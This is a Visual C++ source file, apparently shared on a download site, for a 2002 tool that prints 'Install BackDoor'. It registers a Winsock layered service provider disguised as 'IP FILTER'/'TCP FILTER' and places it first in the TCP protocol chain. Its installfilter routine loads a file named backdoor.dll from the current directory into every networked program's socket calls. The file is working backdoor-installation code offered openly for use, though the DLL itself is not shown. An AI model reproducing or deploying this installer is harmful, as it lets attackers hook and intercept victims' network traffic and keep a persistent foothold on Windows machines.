instBD.cpp
上传用户:whhgrj
上传日期:2022-05-27
资源大小:2229k
文件大小:6k
开发平台:

Visual C++

  1. // instBD.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #define  UNICODE
  5. #define  _UNICODE
  6. #include <stdio.h>
  7. #include <tchar.h>
  8. #include <string.h>
  9. #include <ws2spi.h>
  10. #include <sporder.h>
  11.                            
  12. GUID  filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
  13. GUID  filterchainguid={0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
  14. BOOL  getfilter();
  15. void  freefilter();
  16. void  installfilter();
  17. void  removefilter();
  18. void  start();
  19. void  usage();
  20. int                   totalprotos=0;
  21. DWORD                 protoinfosize=0;
  22. LPWSAPROTOCOL_INFOW   protoinfo=NULL;
  23. int main(int argc,char *argv[])
  24. {
  25. start();
  26. /*if(argc==2)
  27. {
  28. if(!strcmp(argv[1],"-install"))
  29. {
  30. installfilter();
  31. return 0;
  32. }
  33. else if(!strcmp(argv[1],"-remove"))
  34. {
  35. removefilter();
  36. return 0;
  37. }
  38. }*/
  39. //installfilter();
  40. removefilter();
  41. usage();
  42. return 0;
  43. }
  44. BOOL getfilter()
  45. {
  46. int  errorcode;
  47. protoinfo=NULL;
  48. totalprotos=0;
  49. protoinfosize=0;
  50. if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
  51. {
  52. if(errorcode!=WSAENOBUFS)
  53. {
  54. printf("First WSCEnumProtocols Error: %dn",errorcode);
  55. return FALSE;
  56. }
  57. }
  58. if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
  59. {
  60. printf("GlobalAlloc in getfilter Error: %dn",GetLastError());
  61. return FALSE;
  62. }
  63. if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
  64. {
  65. printf("Second WSCEnumProtocols Error: %dn",GetLastError());
  66. return FALSE;
  67. }
  68. printf("Found %d protocols!n",totalprotos); 
  69. return TRUE;
  70. }
  71. void freefilter()
  72. {
  73. GlobalFree(protoinfo);
  74. }
  75. void installfilter()
  76. {
  77. int                i;
  78. int                provcnt;
  79. int                cataindex;
  80. int                errorcode;
  81. BOOL               rawip=FALSE;
  82. BOOL               tcpip=FALSE;
  83. DWORD              iplayercataid=0,tcporigcataid; 
  84. TCHAR              filter_path[MAX_PATH];            
  85. TCHAR              filter_name[MAX_PATH];
  86. TCHAR              chainname[WSAPROTOCOL_LEN+1];      
  87. LPDWORD            cataentries;
  88. WSAPROTOCOL_INFOW  iplayerinfo,tcpchaininfo,chainarray[1];
  89. getfilter();
  90.     
  91. for(i=0;i<totalprotos;i++)
  92. {
  93. if(!rawip
  94.    && protoinfo[i].iAddressFamily==AF_INET
  95.    && protoinfo[i].iProtocol==IPPROTO_IP)
  96. {
  97. rawip=TRUE;
  98. memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
  99. iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
  100. }
  101. if(!tcpip
  102.    && protoinfo[i].iAddressFamily==AF_INET
  103.    && protoinfo[i].iProtocol==IPPROTO_TCP)  
  104. {
  105. tcpip=TRUE;
  106. tcporigcataid=protoinfo[i].dwCatalogEntryId;
  107. memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
  108. tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
  109. }
  110. }
  111. wcscpy((wchar_t *)iplayerinfo.szProtocol,_TEXT("IP FILTER"));
  112. iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;
  113. if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
  114. {
  115. printf("GetCurrentDirectory Error: %dn",GetLastError());
  116. return ;
  117. }
  118. _tcscpy((wchar_t *)filter_name,_TEXT("\backdoor.dll")); 
  119. _tcscat((wchar_t *)filter_path,(wchar_t *)filter_name);
  120. if(WSCInstallProvider(&filterguid,(const WCHAR *)filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
  121. {
  122. printf("WSCInstallProvider Error: %dn",errorcode);
  123. return ;
  124. }
  125. freefilter();
  126. getfilter();
  127. for(i=0;i<totalprotos;i++)
  128. {
  129. if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
  130. {
  131. iplayercataid=protoinfo[i].dwCatalogEntryId;
  132. break;
  133. }
  134. }
  135.     provcnt=0;
  136. if(tcpip)
  137. {
  138. swprintf((wchar_t *)chainname,_TEXT("TCP FILTER"));
  139. _tcscpy(tcpchaininfo.szProtocol,(wchar_t *)chainname);
  140. if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
  141. {
  142. tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;
  143. }
  144. else
  145. {
  146. for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)
  147. {
  148. tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];
  149. }
  150. }
  151. tcpchaininfo.ProtocolChain.ChainLen++;
  152. tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
  153. memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));
  154. }
  155. if(WSCInstallProvider(&filterchainguid,(wchar_t *)filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
  156. {
  157. printf("WSCInstallProvider for chain Error: %dn",errorcode);
  158. return ;
  159. }
  160. freefilter();
  161. getfilter();
  162. if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)
  163. {
  164. printf("GlobalAlloc int installfilter Error: %dn",errorcode);
  165. return ;
  166. }
  167. cataindex=0;
  168. for(i=0;i<totalprotos;i++)
  169. {
  170. if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0
  171.   || memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)
  172. {
  173. cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
  174. }
  175. }
  176. for(i=0;i<totalprotos;i++)
  177. {
  178. if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0
  179.   && memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)
  180. {
  181. cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
  182. }
  183. }
  184. if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)
  185. {
  186. printf("WSCWriteProviderOrder Error: %dn",GetLastError());
  187. return ;
  188. }
  189. freefilter();
  190. }
  191. void removefilter()
  192. {
  193. int  errorcode;
  194. if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)
  195. {
  196. printf("WSCDeinstall filterguid Error: %dn",errorcode);
  197. }
  198. if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)
  199. {
  200. printf("WSCDeinstall filterchainguid Error: %dn",errorcode);
  201. }
  202. return ;
  203. }
  204. void  start()
  205. {
  206. printf("Install BackDoor, by TOo2yn"); 
  207. printf("E-mail: TOo2y@safechina.netn");
  208. printf("Homepage: www.safechina.netn");
  209. printf("Date: 11-3-2002nn");
  210. return ;
  211. }
  212. void  usage()
  213. {
  214. printf("instBD  [ -install | -remove]n");
  215. return ;
  216. }